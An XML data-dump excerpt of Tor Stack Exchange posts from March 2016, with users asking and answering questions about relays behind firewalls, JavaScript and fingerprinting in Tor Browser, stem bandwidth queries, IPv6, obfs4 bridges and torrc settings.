  <row Id="9872" PostTypeId="1" CreationDate="2016-03-18T15:34:28.333" Score="0" ViewCount="876" Body="&lt;p&gt;I'm trying to install a relay on a VM on Ubuntu.&#xA;I follow the manual and all looks ok, except it says I should open a port on my firewall to be reachable from the outside...&#xA;I have no access to the company router and all ports are closed.&#xA;Is there a way to bypass the firewall?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="12156" LastActivityDate="2016-03-18T19:27:20.307" Title="Running a Tor relay behind Firewall" Tags="|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9873" PostTypeId="2" ParentId="9872" CreationDate="2016-03-18T19:27:20.307" Score="2" Body="&lt;p&gt;if it's(a firewall you can't manage directly) not supporting UPnP - there's no way. You can use a VPN service with static IP : you're connecting from outside, obtaining an IP address &lt;strong&gt;inside your box&lt;/strong&gt; and you're ready to go.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-18T19:27:20.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9874" PostTypeId="2" ParentId="9871" CreationDate="2016-03-18T19:33:16.690" Score="-1" Body="&lt;p&gt;You need &lt;strong&gt;Meek&lt;/strong&gt; and &lt;strong&gt;obfs4&lt;/strong&gt; pluggable transports and bridges. Also a good point will be to rise your own Tor bridge, where you won't be publishing it's descriptor and using it too in your &quot;mobile&quot; access. Once properly seeded and bridged - Orbot can penetrate such censorship&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-18T19:33:16.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9875" PostTypeId="1" AcceptedAnswerId="9876" CreationDate="2016-03-18T20:12:42.497" Score="4" ViewCount="2576" Body="&lt;p&gt;I read that javascript should be disabled in the Tor browser, as it could harm my anonymity. However, Javascript is enabled in Tor default configuration.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Why did the developers made the choice to enable Javascript by default?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12158" LastEditorUserId="12013" LastEditDate="2016-03-18T21:09:55.763" LastActivityDate="2016-03-21T15:05:02.980" Title="Why is javascript enabled by default in the Tor browser?" Tags="|anonymity|javascript|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-22T07:10:25.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="9876" PostTypeId="2" ParentId="9875" CreationDate="2016-03-18T21:17:40.157" Score="1" Body="&lt;p&gt;&lt;strong&gt;They weighted the pros and cons, between security and user experience.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are right, Javascript makes your browsing unsafe. It allows a website to deanonymize Tor users. &lt;a href=&quot;http://arstechnica.com/security/2013/08/attackers-wield-firefox-exploit-to-uncloak-anonymous-tor-users/&quot; rel=&quot;nofollow&quot; title=&quot;Article on Ars Technica&quot;&gt;It has been used previously by the FBI, when they seized Freedom Hosting.&lt;/a&gt; The FBI put a malicious script on their server. When the visitors came and loaded the content, the script was executed client-side. It exploited a 0-day vulnerability in Firefox, making the clients contact, with their public IP, a server controlled by the FBI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason to disable Javascript is &lt;a href=&quot;https://en.wikipedia.org/wiki/Device_fingerprint&quot; rel=&quot;nofollow&quot; title=&quot;Browser fingerprinting on Wikipedia&quot;&gt;browser fingerprinting.&lt;/a&gt; Basically, Javascript has access to a lot of parameters which can differ from a computer to another one (browser plugins, language, fonts installed, etc.). &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot; title=&quot;Panopticlick&quot;&gt;Panopticlick&lt;/a&gt; provides an interesting test to check whether you can be fully identified using these information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However,&lt;/strong&gt; Javascript is also a necessary component of the Web. Simply disabling it would break the user experience on most of the websites. &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBJavaScriptEnabled&quot; rel=&quot;nofollow&quot; title=&quot;Tor documentation&quot;&gt;As Tor documentation says,&lt;/a&gt; it would be an impediment to new users. The developers choose to favor them by activating Javascript in the default configuration. User experience comes first; the users wanting more privacy can still disable Javascript using the NoScript plugin.&lt;/p&gt;&#xA;" OwnerUserId="12013" LastActivityDate="2016-03-18T21:17:40.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9877" PostTypeId="1" AcceptedAnswerId="11897" CreationDate="2016-03-19T10:03:53.237" Score="2" ViewCount="1025" Body="&lt;p&gt;Is there any method to get the available bandwidth of a Tor Relay. (Not the one the relay publishes itself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus I wrote the following sets of code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem.descriptor.remote import DescriptorDownloader&#xA;downloader_1 = DescriptorDownloader()&#xA;&#xA;try:&#xA;  for desc in downloader_1.get_consensus().run():&#xA;    print desc.bandwidth&#xA;except Exception as exc:&#xA;  print(&quot;Unable to retrieve the consensus: %s&quot; % exc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to know the difference between these two. Does the first script return the available bandwidth?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem.descriptor.remote import DescriptorDownloader&#xA;downloader_0 = DescriptorDownloader()&#xA;&#xA;try:&#xA;  for desc in downloader_0.get_server_descriptors().run(): # Information that relays publish about themselves.&#xA;    print desc.average_bandwidth&#xA;    print desc.burst_bandwidth&#xA;    print desc.observed_bandwidth&#xA;except Exception as exc:&#xA;  print(&quot;Unable to retrieve the server descriptors: %s&quot; % exc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone explain in detail what values that these code scripts return represent and is one of them the available bandwidth and if not how can one find the available bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="12161" LastEditorUserId="88" LastEditDate="2016-03-20T23:00:22.237" LastActivityDate="2016-08-18T02:03:12.463" Title="Finding available bandwidth of a relay" Tags="|relays|bandwidth|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9878" PostTypeId="2" ParentId="9877" CreationDate="2016-03-19T15:28:48.630" Score="0" Body="&lt;p&gt;The point is that you should monitor it's server descriptor. If the bandwidth is limited &lt;em&gt;in it's torrc config&lt;/em&gt;, you will see it constant or almost-constant. If it's not limited in torrc - even in firewall shaping, for example - you have to measure speed by using it as an exit.... Your script will probe a server descriptor data, add speed verification and you will be just fine in all cases&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-19T15:28:48.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9880" PostTypeId="1" CreationDate="2016-03-20T02:08:12.373" Score="0" ViewCount="103" Body="&lt;p&gt;how do you change the profile photo in twitter on tails? It tells me when I try that - the website is trying to extract HTML 5 canvas data that can uniquely identify my computer, how do I get around this without violating my security?&lt;/p&gt;&#xA;" OwnerUserId="12169" LastActivityDate="2016-03-21T15:40:05.600" Title="Profile photo - twitter" Tags="|tails|html5|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9881" PostTypeId="5" CreationDate="2016-03-20T02:55:58.747" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-03-20T02:55:58.747" LastActivityDate="2016-03-20T02:55:58.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9882" PostTypeId="4" CreationDate="2016-03-20T02:55:58.747" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-03-20T02:55:58.747" LastActivityDate="2016-03-20T02:55:58.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9883" PostTypeId="1" CreationDate="2016-03-20T04:40:44.330" Score="1" ViewCount="296" Body="&lt;p&gt;Why does i2p use inbound/outbound tunnels, where each tunnel has at least 3 nodes, while Tor just makes a direct 3-node &quot;tunnel&quot; between the user and server? What are the advantages and disadvantages of each approach?&lt;/p&gt;&#xA;" OwnerUserId="12171" LastActivityDate="2016-03-20T12:17:55.157" Title="Why doesn't Tor use tunnels?" Tags="|i2p|tunnel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9884" PostTypeId="1" CreationDate="2016-03-20T06:07:26.473" Score="0" ViewCount="3679" Body="&lt;p&gt;I have IPv6 disabled in Internet Settings for this eth0 connection (Linux Mint) yet IPv6 addresses are still shown in the output of ifconfig.  I have come to believe that it is best when using Tor to have IPv6 disabled for reasons of security. Do you agree?  Is there a better, more fail safe way to completely disable IPV6 so even if Tor config files get compromised, IPv6 cannot be used?  Here is my ifconfig.  I would like to not see those IPv6 addresses. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mint@mint ~ $ ifconfig&#xA;eth0      Link encap:Ethernet  HWaddr 00:XX:XX:XX:XX:XX  &#xA;      inet addr:192.168.0.7  Bcast:192.168.0.255  Mask:255.255.255.0&#xA;      inet6 addr: XXXXX:e825/64 Scope:Global&#xA;      inet6 addr: XXXXX:e825/64 Scope:Link&#xA;      inet6 addr: XXXXX:422a/64 Scope:Global&#xA;      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xA;      RX packets:29311 errors:0 dropped:0 overruns:0 frame:0&#xA;      TX packets:17058 errors:0 dropped:0 overruns:0 carrier:0&#xA;      collisions:0 txqueuelen:1000 &#xA;      RX bytes:33554675 (33.5 MB)  TX bytes:3450446 (3.4 MB)&#xA;      Interrupt:17 &#xA;&#xA;lo        Link encap:Local Loopback  &#xA;      inet addr:127.0.0.1  Mask:255.0.0.0&#xA;      inet6 addr: ::1/128 Scope:Host&#xA;      UP LOOPBACK RUNNING  MTU:65536  Metric:1&#xA;      RX packets:40397 errors:0 dropped:0 overruns:0 frame:0&#xA;      TX packets:40397 errors:0 dropped:0 overruns:0 carrier:0&#xA;      collisions:0 txqueuelen:0 &#xA;      RX bytes:13958224 (13.9 MB)  TX bytes:13958224 (13.9 MB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: Can someone also explain how to use this site's formatting options to format posts like this that contain log files or ifconfig stuff like this?&lt;/p&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="10038" LastEditDate="2016-03-22T00:12:59.710" LastActivityDate="2016-03-22T00:12:59.710" Title="Disable IPV6 for better security" Tags="|tor-browser-bundle|ip-address|" AnswerCount="1" CommentCount="5" ClosedDate="2016-03-20T23:06:59.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="9885" PostTypeId="1" AcceptedAnswerId="9893" CreationDate="2016-03-20T06:16:38.850" Score="0" ViewCount="264" Body="&lt;p&gt;In Tails and Whonix you wait a bit for the connection - waiting for the onion to turn green (I understand the onion has changed to something else, but that is besides the point).  Why when running Tor from a regular desktop system is there no onion nor no wait? I must have missed something.  Thank you. &lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2016-03-20T13:46:40.247" Title="Tor connection green onion question" Tags="|onion-routing|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9886" PostTypeId="1" CreationDate="2016-03-20T10:25:35.600" Score="1" ViewCount="1766" Body="&lt;p&gt;I got my own server somewhere out there in the free internet, and I would like to connect to it via obfs4 and use it as proxy to circumvent local censorship. As far as I know, obfs4 requires a tor bridge. When I try to start it directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [ERROR]: obfs4proxy - must be run as a managed transport&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now I have my private tor bridge, and can connect through this to the tor network. But actually, I do not need the &quot;Tor&quot; part of it ... I trust my server, and I would prefer higher speed and no restrictions on commercial servers because of a tor ip address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to recompile the source to allow single SingleHop Connections?&#xA;How am I supposed to use obfs4 standalone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; Can I use it, by just having a second server (maybe even a virtual machine) and forward the tor traffic through a &quot;private tor network&quot;?&#xA;Is obfs4 actually any better than scramblesuit for proxy purposes?&lt;/p&gt;&#xA;" OwnerUserId="12172" LastEditorDisplayName="user12180" LastEditDate="2016-03-21T07:50:36.007" LastActivityDate="2016-03-27T01:37:41.380" Title="I want to use a private obfs4 tor bridge, without tor" Tags="|censorship|obfs4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9887" PostTypeId="2" ParentId="9886" CreationDate="2016-03-20T10:37:59.870" Score="1" Body="&lt;p&gt;You need to use it with Tor, because the bridge - after passing through OBFS4(and any pluggable transport) expects a &lt;code&gt;tor protocol&lt;/code&gt;, it's not a transparent proxy&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-20T10:37:59.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9888" PostTypeId="2" ParentId="9884" CreationDate="2016-03-20T10:40:12.263" Score="1" Body="&lt;p&gt;if you have ipv6 enabled &lt;em&gt;anywhere&lt;/em&gt; - it will be appearing in ifconfigs everywhere, it's OK. it's just unconfigured and will not be used. To format just make a newline and use leading spaces - and see below a live preview&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-20T10:40:12.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9889" PostTypeId="2" ParentId="9883" CreationDate="2016-03-20T10:47:35.783" Score="1" Body="&lt;p&gt;The pro's of i2p is that in the tunnel-model it's &lt;em&gt;possible&lt;/em&gt; to make a &quot;garlic routing&quot;, but they're not implemented it yet in full scale. it will make possible to transmit multiple tunnel's packets in one &quot;package&quot;. And I2P uses local site-naming directories rather one distributed one in Tor. Basically - except a tech deep-sea details - there's the main difference between them. Pro's of multiple site-naming directories are &lt;em&gt;just&lt;/em&gt; multiple namespaces, but they're based on a &lt;em&gt;single node&lt;/em&gt; - that's the problem. In tor's global namespace the HS announce can be really long due to it's distributed nature - in i2p it's instant after approoval(if any enabled on a dir you're registering to). &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-20T10:47:35.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9890" PostTypeId="2" ParentId="9883" CreationDate="2016-03-20T12:17:55.157" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://geti2p.net/en/comparison/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;I2P's comparison page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Packet switched instead of circuit switched&lt;/p&gt;&#xA;&lt;p&gt;implicit transparent load balancing of messages across multiple peers, rather than a single path&lt;/p&gt;&#xA;&lt;p&gt;resilience vs. failures by running multiple tunnels in parallel, plus rotating tunnels&lt;/p&gt;&#xA;&lt;p&gt;scale each client's connections at O(1) instead of O(N) (Alice has e.g. 2 inbound tunnels that are used by all of the peers Alice is talking with, rather than a circuit for each)&lt;/p&gt;&#xA;&lt;p&gt;Unidirectional tunnels instead of bidirectional circuits, doubling the number of nodes a peer has to compromise to get the same information.&lt;/p&gt;&#xA;&lt;p&gt;Tunnels in I2P are short lived, decreasing the number of samples that an attacker can use to mount an active attack with, unlike circuits in Tor, which are typically long lived.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No actual reason actually. It is just because jrandom preferred unidirectional tunnels and hated Tor's circuits at the time he implemented I2P.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-03-20T12:17:55.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9893" PostTypeId="2" ParentId="9885" CreationDate="2016-03-20T13:46:40.247" Score="1" Body="&lt;p&gt;The onion icon is just an icon, and - you have to wait too, actually : it's just &quot;behind the curtains&quot;, you can see it if you will enable Tor logging and run it interactively. The wait period is in heavy dependence with your connection speed, parameters and censorship applied to it(if any). Also if you're using bridges it can take a bit longer, usually. The tor used in Tails/Whonix/TorBrowser and the tor in &quot;expert bundle&quot; as a single app - it's &lt;strong&gt;all the same application&lt;/strong&gt;, and it works just the same way. Usually if there's no problem Tor will be up in 10-20 seconds, but an application that drawing you a colored onion icon may query tor with a greater intervals, let's say 30 seconds or more. That can also give you an illusion of long waiting: maybe the &lt;em&gt;actual&lt;/em&gt; tor is ready to serve you, but the graphical user interfase app does not know about it yet because it haven't queried Tor process for it's status yet, and it's drawing you a &quot;please wait&quot;... That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-20T13:46:40.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9894" PostTypeId="2" ParentId="9866" CreationDate="2016-03-20T13:51:07.127" Score="1" Body="&lt;p&gt;Actually they better fix their non-mobile OS first : it's buggy like hell. Android Open Source can be modified to use Tor without much troubles, I think - it has a very good structure and API+conventions to add your own components right to the source and build exactly what you want. IPTables are built-in, so there should be no single problem to &quot;torify&quot; the entire system&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-20T13:51:07.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9897" PostTypeId="2" ParentId="9880" CreationDate="2016-03-20T17:42:57.457" Score="1" Body="&lt;p&gt;I would get a prepaid android phone and change your photo on the twitter app you download on the phone. Then delete app and never use phone again. Probably smash it into tiny pieces and throw into the river. You can pickup a crappy Huawei Android phone for around $40 that includes some prepaid minutes of data or connect to a public wifi. Hope that helps. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-03-20T17:42:57.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9900" PostTypeId="2" ParentId="9880" CreationDate="2016-03-20T22:57:51.907" Score="2" Body="&lt;p&gt;The pop-up you're talking about comes from Tor Browser. If you choose &lt;em&gt;Not now&lt;/em&gt; (or even choose never for this site), this method of fingerprinting is stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that you can just easily change your profile photo.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in to Twitter&lt;/li&gt;&#xA;&lt;li&gt;Go to your profile&lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;edit profile&quot;&lt;/li&gt;&#xA;&lt;li&gt;Choose another photo&lt;/li&gt;&#xA;&lt;li&gt;Save your changes&lt;/li&gt;&#xA;&lt;li&gt;win :-).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-03-20T22:57:51.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9903" PostTypeId="1" AcceptedAnswerId="9906" CreationDate="2016-03-21T05:31:27.470" Score="1" ViewCount="440" Body="&lt;p&gt;The following is my &lt;code&gt;torrc-defaults&lt;/code&gt; file.  I'm trying to learn this stuff so I don't have to ask this kind of question here, yet I'm still in the dark about much of this.  So I'm asking for feedback in regard to the lines pertaining to SOCKS and FTEproxy. Does this all look okay? What if I do not want IPV6? Can I change that line - and if so, to what?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AvoidDiskWrites 1&#xA;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9151&#xA;CookieAuthentication 1&#xA;ClientTransportPlugin fte exec ./TorBrowser/Tor/PluggableTransports/fteproxy.bin --managed&#xA;ClientTransportPlugin obfs2,obfs3,obfs4,scramblesuit exec ./TorBrowser/Tor/PluggableTransports/obfs4proxy&#xA;ClientTransportPlugin meek exec ./TorBrowser/Tor/PluggableTransports/meek-client-torbrowser -- ./TorBrowser/Tor/PluggableTransports/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="12013" LastEditDate="2016-03-22T07:09:58.957" LastActivityDate="2016-03-22T07:09:58.957" Title="Feedback on this torrc-defaults file" Tags="|configuration|pluggable-transports|ipv6|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9904" PostTypeId="2" ParentId="9903" CreationDate="2016-03-21T13:21:47.353" Score="1" Body="&lt;p&gt;If you have IPv6 network access - yes, it looks OK. Some additions to these ones are the question of taste. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-21T13:21:47.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9906" PostTypeId="2" ParentId="9903" CreationDate="2016-03-21T14:23:02.040" Score="2" Body="&lt;p&gt;All of the valid config options are detailed in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor config manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd probably be quicker for you to read that than for us to enumerate each of the options included in your question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What if I do not want IPV6? Can I change that line - and if so, to&#xA;  what?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Remove the IPV6 options. They are only set if they are included at all. For reference, here's what the manual has to say about them:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;IPv6Traffic&lt;/strong&gt; Tell exits to allow IPv6 addresses in response to SOCKS&#xA;  requests on this connection, so long as SOCKS5 is in use. (SOCKS4&#xA;  can’t handle IPv6.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;PreferIPv6&lt;/strong&gt; Tells exits that, if a host has both an IPv4 and an IPv6&#xA;  address, we would prefer to connect to it via IPv6. (IPv4 is the&#xA;  default.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-03-21T14:23:02.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9908" PostTypeId="1" CreationDate="2016-03-21T15:28:29.600" Score="2" ViewCount="3016" Body="&lt;p&gt;I'm trying to sign up for Twitter on Tor, but whenever I do, I'm asked to give out a phone number for verification - which would render Tor useless as they would see my location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what, there is no link to skip the phone verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It loads in IE, and the link has a URL, but using it in Tor redirects you back to the phone verification page!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched everywhere for an answer to this, and nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been a problem for months, and I figured Tor would've found a way around it by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just what are you supposed to do? &lt;/p&gt;&#xA;" OwnerUserId="12190" LastActivityDate="2022-11-16T04:24:33.857" Title="Signing Up for Twitter on Tor DEMANDS Phone Verification" Tags="|anonymity|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9909" PostTypeId="2" ParentId="9880" CreationDate="2016-03-21T15:40:05.600" Score="1" Body="&lt;p&gt;You're going to hate me for asking this, as it's not even answering the question, but I have a related problem - how did you even sign up for Twitter via Tor? When I try to do it, I am asked to give a phone number for verification, there is no link to skip like in Firefox, and if you use the skip link URL you are forcibly redirected back to the phone verification page. What do you do?&lt;/p&gt;&#xA;" OwnerUserId="12190" LastActivityDate="2016-03-21T15:40:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9910" PostTypeId="1" AcceptedAnswerId="9919" CreationDate="2016-03-21T20:16:17.537" Score="4" ViewCount="1267" Body="&lt;p&gt;I'm looking for some help with accessing my VPN over tor.  A little background..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a router at home that I can connect to which routes all of my traffic over tor.  The router uses port 9030.  My VPN is hosted on DigitalOcean.  Using OpenVPN on an Ubuntu 14.04 droplet.  I'm using tunnelblick to access my VPN. I'm also using uncomplicated firewall (ufw) on my VPN on DigitalOcean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the issue; I've tried opening port 9030, 9040, 9001 etc. on my firewall for my VPN but tunnelblick's status just says &quot;Waiting for authorization from server&quot; and never gets any response back.  I think it's my firewall but when I checked the firewall logs I can never find the exit node IP that connects to the VPN.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what to check for in configuration files (in OpenVPN config, tunnelblick config etc.) would be very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Following are my config files and torrc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc for Onion Pi&#xA;&lt;a href=&quot;https://gist.github.com/dhurley14/8d4b8d8ac98d74b1e665&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/dhurley14/8d4b8d8ac98d74b1e665&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc for DigitalOcean VPN&#xA;&lt;a href=&quot;https://gist.github.com/dhurley14/264754ff2eafb844ad9b&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/dhurley14/264754ff2eafb844ad9b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2:&#xA;This is what tunnelblick tells me when I try to connect to the VPN from my Onion Pi Access Point.  I changed the client and server config to allow for TCP connections and updated the firewall to allow tcp connections on port 9001.  I also ran the three commands in the terminal.  Getting closer I think.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3lM5Q.png&quot; alt=&quot;authorizing image&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/syENf.png&quot; alt=&quot;tunnelblick error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12194" LastEditorUserId="12194" LastEditDate="2016-03-23T02:41:57.093" LastActivityDate="2016-04-22T03:25:00.560" Title="VPN over Tor Firewall Config" Tags="|configuration|vpn|openvpn|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9911" PostTypeId="1" CreationDate="2016-03-21T21:37:07.110" Score="1" ViewCount="460" Body="&lt;p&gt;I have been using Tor for about a year now and been happy with the project, at least until the last update 5.5.4, which is behaving oddly. :((&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One site I used to visit often was mail.com, where I access my mail. Since the last update, however, I cannot access the site at all--I get this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Not Found&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The requested URL /mail.com/current/html/error.html was not found on this server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Noscript now claims to be filtering a &quot;potential cross-site scripting (XSS)&quot; from the site it never had problems with before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I cannot access my mail. What can I do, other than not use Tor?&lt;/p&gt;&#xA;" OwnerUserId="12195" LastEditorUserId="88" LastEditDate="2016-03-22T07:01:53.743" LastActivityDate="2016-03-22T07:01:53.743" Title="XSS errors with recent update" Tags="|tor-browser-bundle|security|noscript|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9912" PostTypeId="1" CreationDate="2016-03-21T23:29:41.347" Score="2" ViewCount="180" Body="&lt;p&gt;There is a website I want to connect to via a specific IP. It uses CluodFlare and I am constantly having to deal with the captcha. Via a normal browser I can connect to the website by adding the site and the real IP to my /etc/hosts like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;188.188.188.34   domain.info&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this bypasses CloudFlare. However, I am unable to connect to the website via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can tell tor to connect to this domain on the real IP?&lt;/p&gt;&#xA;" OwnerUserId="10759" OwnerDisplayName="Kohjah Breese" LastEditorUserId="10759" LastEditDate="2016-03-22T00:09:11.290" LastActivityDate="2016-03-22T12:49:33.037" Title="Connect to website with Tor with a specific IP" Tags="|ip-address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9914" PostTypeId="2" ParentId="9912" CreationDate="2016-03-22T08:46:39.530" Score="1" Body="&lt;p&gt;If you want to just connect to this website with your real IP address, you can add it to &lt;code&gt;$no_proxy&lt;/code&gt; environment variable. See this: &lt;a href=&quot;https://www.gnu.org/software/wget/manual/html_node/Proxies.html&quot; rel=&quot;nofollow&quot;&gt;https://www.gnu.org/software/wget/manual/html_node/Proxies.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12198" LastEditorUserId="88" LastEditDate="2016-03-22T12:13:14.150" LastActivityDate="2016-03-22T12:13:14.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
